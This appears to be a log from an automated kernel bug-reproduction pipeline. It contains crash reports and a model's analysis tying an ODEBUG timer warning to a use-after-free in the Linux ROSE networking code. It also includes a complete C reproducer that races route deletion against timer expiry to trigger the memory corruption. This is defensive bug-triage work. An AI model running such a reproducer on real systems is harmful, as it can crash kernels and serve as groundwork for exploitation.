RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88810b1dd090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88810b1dd200
R13: ffffffff90255cb0 R14: ffff88810b1dd000 R15: ffff88810b1dd090
FS:  0000000000000000(0000) GS:ffff8882e8bef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005654964c2cc0 CR3: 0000000101f1e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 tmigr_handle_remote_cpu kernel/time/timer_migration.c:982 [inline]
 tmigr_handle_remote_up kernel/time/timer_migration.c:1073 [inline]
 __walk_groups_from kernel/time/timer_migration.c:565 [inline]
 __walk_groups kernel/time/timer_migration.c:582 [inline]
 tmigr_handle_remote+0xa48/0x1440 kernel/time/timer_migration.c:1132
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffc90000197e20 EFLAGS: 00000206
RAX: 00000000000627ff RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffc90000197f10 R08: ffff88827be3399b R09: 1ffff1104f7c6733
R10: dffffc0000000000 R11: ffffed104f7c6734 R12: 0000000000000001
R13: 1ffff1103009d000 R14: 0000000000000001 R15: 1ffff1103009d000
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 start_secondary+0x101/0x110 arch/x86/kernel/smpboot.c:312
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah




205/4 2026/05/26 12:01 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 23462
							output: 347
							thoughts: 1058
						

Thoughts:
**Analyzing the Crash Report**

Alright, let's break this down. First, I need to confirm whether this crash report aligns with the expected bug: `KASAN: slab-use-after-free Write in rose_send_frame`. The triggered crash is an `ODEBUG` warning about freeing an active timer within `rose_t0timer_expiry`. Initially, this seemed different, but the stack trace for the original bug shows the `rose_t0timer_expiry` function being called.

Let's compare the stack traces. The KASAN UAF reveals that `rose_send_frame` is where the memory error occurs, which is called from `rose_t0timer_expiry`. It appears that `rose_timer_expiry` frees the `rose_neigh` object (through `rose_neigh_put`), which, crucially, contains the active timer `t0timer`, with `rose_t0timer_expiry` as its callback.

Looking at the ODEBUG stack trace, it’s clear that `rose_timer_expiry` is indeed freeing the neighbor object while the timer is still active! The `rose_timer_expiry` function has a critical flaw, it's freeing the neighbor object (`rose_neigh`) before deactivating the timer associated with it. When the `t0timer` fires, it calls `rose_t0timer_expiry`, attempting to access the already freed `rose_neigh` object. This is the root cause of the UAF. The ODEBUG warning is simply the system catching this earlier due to `CONFIG_DEBUG_OBJECTS_TIMERS` being enabled. This is the difference between seeing a crash right away or seeing a more cryptic ODEBUG warning.

Essentially, the triggered crash is an earlier manifestation of the exact same bug. The original bug report shows a KASAN UAF in `rose_send_frame`, called by `rose_t0timer_expiry`. The ODEBUG warning occurs because `rose_timer_expiry` frees the neighbor object (`rose_neigh`) which contains the timer `t0timer` (with callback `rose_t0timer_expiry`) while that timer is still active.

So, if debug objects are enabled, we get the ODEBUG warning. If they aren’t, or if we ignore the warning, the timer will later trigger `rose_t0timer_expiry` on the freed memory, leading to the KASAN UAF.

Thus, the ODEBUG warning and the KASAN UAF are different manifestations of the same underlying flaw. I'm going to set `TitleMatches` to true and provide this explanation.



206/4 2026/05/26 12:01 tool set-results
0m Args:
map[Feedback:The reproducer successfully triggered the underlying bug. 

Although the crash title is `ODEBUG: free active (active state 0) object: ... hint: rose_t0timer_expiry` instead of the original `KASAN: slab-use-after-free Write in rose_send_frame`, they represent the exact same root cause.

In the original KASAN report:
1. `rose_timer_expiry` frees a `rose_neigh` object via `rose_neigh_put` -> `kfree`.
2. Later, the `t0timer` (which is embedded in the freed `rose_neigh` object) fires and executes its callback `rose_t0timer_expiry`.
3. `rose_t0timer_expiry` calls `rose_transmit_restart_request` -> `rose_send_frame`, which accesses the freed `rose_neigh` object, causing the KASAN Use-After-Free.

In the triggered crash:
The kernel has `CONFIG_DEBUG_OBJECTS_TIMERS` enabled. When `rose_timer_expiry` calls `rose_neigh_put` -> `kfree` to free the `rose_neigh` object, the debug objects infrastructure detects that the embedded `t0timer` (with callback `rose_t0timer_expiry`) is still active and pending. It immediately raises an `ODEBUG` warning and prevents the silent memory corruption.

This is an earlier, more precise detection of the exact same bug. The reproducer is fully successful. TitleMatches:true]

Results:
map[Feedback:The reproducer successfully triggered the underlying bug. 

Although the crash title is `ODEBUG: free active (active state 0) object: ... hint: rose_t0timer_expiry` instead of the original `KASAN: slab-use-after-free Write in rose_send_frame`, they represent the exact same root cause.

In the original KASAN report:
1. `rose_timer_expiry` frees a `rose_neigh` object via `rose_neigh_put` -> `kfree`.
2. Later, the `t0timer` (which is embedded in the freed `rose_neigh` object) fires and executes its callback `rose_t0timer_expiry`.
3. `rose_t0timer_expiry` calls `rose_transmit_restart_request` -> `rose_send_frame`, which accesses the freed `rose_neigh` object, causing the KASAN Use-After-Free.

In the triggered crash:
The kernel has `CONFIG_DEBUG_OBJECTS_TIMERS` enabled. When `rose_timer_expiry` calls `rose_neigh_put` -> `kfree` to free the `rose_neigh` object, the debug objects infrastructure detects that the embedded `t0timer` (with callback `rose_t0timer_expiry`) is still active and pending. It immediately raises an `ODEBUG` warning and prevents the silent memory corruption.

This is an earlier, more precise detection of the exact same bug. The reproducer is fully successful. TitleMatches:true]

207/3 2026/05/26 12:01 action loop-controller
0m Results:
map[ContinueSignal: EquivalenceAnalysis:The reproducer successfully triggered the underlying bug. 

Although the crash title is `ODEBUG: free active (active state 0) object: ... hint: rose_t0timer_expiry` instead of the original `KASAN: slab-use-after-free Write in rose_send_frame`, they represent the exact same root cause.

In the original KASAN report:
1. `rose_timer_expiry` frees a `rose_neigh` object via `rose_neigh_put` -> `kfree`.
2. Later, the `t0timer` (which is embedded in the freed `rose_neigh` object) fires and executes its callback `rose_t0timer_expiry`.
3. `rose_t0timer_expiry` calls `rose_transmit_restart_request` -> `rose_send_frame`, which accesses the freed `rose_neigh` object, causing the KASAN Use-After-Free.

In the triggered crash:
The kernel has `CONFIG_DEBUG_OBJECTS_TIMERS` enabled. When `rose_timer_expiry` calls `rose_neigh_put` -> `kfree` to free the `rose_neigh` object, the debug objects infrastructure detects that the embedded `t0timer` (with callback `rose_t0timer_expiry`) is still active and pending. It immediately raises an `ODEBUG` warning and prevents the silent memory corruption.

This is an earlier, more precise detection of the exact same bug. The reproducer is fully successful. OracleFeedback:The reproducer successfully triggered the underlying bug. 

Although the crash title is `ODEBUG: free active (active state 0) object: ... hint: rose_t0timer_expiry` instead of the original `KASAN: slab-use-after-free Write in rose_send_frame`, they represent the exact same root cause.

In the original KASAN report:
1. `rose_timer_expiry` frees a `rose_neigh` object via `rose_neigh_put` -> `kfree`.
2. Later, the `t0timer` (which is embedded in the freed `rose_neigh` object) fires and executes its callback `rose_t0timer_expiry`.
3. `rose_t0timer_expiry` calls `rose_transmit_restart_request` -> `rose_send_frame`, which accesses the freed `rose_neigh` object, causing the KASAN Use-After-Free.

In the triggered crash:
The kernel has `CONFIG_DEBUG_OBJECTS_TIMERS` enabled. When `rose_timer_expiry` calls `rose_neigh_put` -> `kfree` to free the `rose_neigh` object, the debug objects infrastructure detects that the embedded `t0timer` (with callback `rose_t0timer_expiry`) is still active and pending. It immediately raises an `ODEBUG` warning and prevents the silent memory corruption.

This is an earlier, more precise detection of the exact same bug. The reproducer is fully successful. ProbeSuccessful:true ReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket.\n");

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up.\n");

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    res = ioctl(sock, SIOCSIFHWADDR, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFHWADDR for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set rose0 MAC address.\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up.\n");

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        if (res < 0) {
            printf("[-] Failed to bind rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = ioctl(rsock, SIOCADDRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCADDRT: %s\n", strerror(errno));
            exit(1);
        }

        res = fcntl(rsock, F_SETFL, O_NONBLOCK);
        if (res < 0) {
            printf("[-] Failed to fcntl O_NONBLOCK: %s\n", strerror(errno));
            exit(1);
        }
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        res = connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if (res < 0 && errno != EINPROGRESS) {
            printf("[-] Failed to connect: %s\n", strerror(errno));
            exit(1);
        }
        
        // Delete the route (stops t0timer, drops routing refcount)
        res = ioctl(rsock, SIOCDELRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCDELRT: %s\n", strerror(errno));
            exit(1);
        }
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
        printf("[+] Iteration %d completed.\n", i);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    printf("[+] Waiting for timers to expire...\n");
    sleep(1);

    printf("[+] Done.\n");
    return 0;
}
 Reproduced:true ReproducedBugTitle:WARNING: ODEBUG bug in handle_softirqs ReproducedCrashReport:------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#0: swapper/0/0
Modules linked in:
CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 run_timer_base kernel/time/timer.c:2394 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2404
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 rest_init+0x2de/0x300 init/main.c:760
 start_kernel+0x385/0x3d0 init/main.c:1210
 x86_64_start_reservations+0x24/0x30 arch/x86/kernel/head64.c:310
 x86_64_start_kernel+0x143/0x1c0 arch/x86/kernel/head64.c:291
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah
]

208/1 2026/05/26 12:01 action save-repro-c
0m Results:
map[]

LLM Calls Summary:
Total Calls Total Tokens Avg Tokens Total Duration (Seconds) Avg Duration (Seconds)
Tool Calls Summary:
Total Calls Total Duration (Seconds) Avg Duration (Seconds)